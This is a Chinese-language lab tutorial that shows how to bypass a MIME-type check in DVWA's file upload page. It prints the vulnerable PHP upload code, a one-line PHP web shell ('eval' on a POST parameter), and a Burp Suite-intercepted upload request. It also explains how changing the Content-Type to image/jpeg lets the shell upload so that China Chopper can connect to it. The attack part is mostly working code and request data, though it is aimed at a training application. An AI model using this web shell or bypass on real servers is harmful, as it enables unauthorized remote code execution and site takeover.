文件上传漏洞MIME类型绕过,文件上传漏洞content-type类型绕过

(1).目标站的文件上传验证文件的MIME类型必须为image/jpeg，示例代码:

<?php
if (isset($_POST['Upload'])) {
    $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path = $target_path . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_type = $_FILES['uploaded']['type'];
    $uploaded_size = $_FILES['uploaded']['size'];
    if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)) {
        if (!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
            echo '<pre>';
            echo 'Your image was not uploaded.';
            echo '</pre>';
        } else {
            echo '<pre>';
            echo $target_path . ' succesfully uploaded!';
            echo '</pre>';
        }
    } else {
        echo '<pre>Your image was not uploaded.</pre>';
    }
}

(2).开启kali中的工具Burp Suite开启其中的代理拦截修改功能，开启的代理为192.168.147.132 8080 

(3).本机电脑浏览器不设置代理在文件上传页选择木马文件muma.php

<?php @eval($_POST['pass']);?>

(4).本机电脑浏览器设置代理为上面Burp Suite的代理，记得Burp Suite要开启代理拦截，然后点击上传，此时打开Burp Suite软件看到拦截信息的raw内容如下:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.147.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------68278927234299128771152654658
Content-Length: 507
Origin: http://192.168.147.131
Connection: close
Referer: http://192.168.147.131/dvwa/vulnerabilities/upload/
Cookie: security=low; security=medium; PHPSESSID=vl1eiur1jcp2kadhjun9tjogq7
Upgrade-Insecure-Requests: 1

-----------------------------68278927234299128771152654658
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------68278927234299128771152654658
Content-Disposition: form-data; name="uploaded"; filename="muma.php"
Content-Type: application/octet-stream

<?php @eval($_POST['pass']);?>
-----------------------------68278927234299128771152654658
Content-Disposition: form-data; name="Upload"

Upload
-----------------------------68278927234299128771152654658--

我们将raw中Content-Type: application/octet-stream改为Content-Type: image/jpeg，点击forward正式发送出去，此时浏览器显示上传成功.中国菜刀测试一键连接。

记得此处的Content-Type是和浏览器中直接看到的是不同的。这算是OWASP Broken Web Applications Project项目中典型的例子。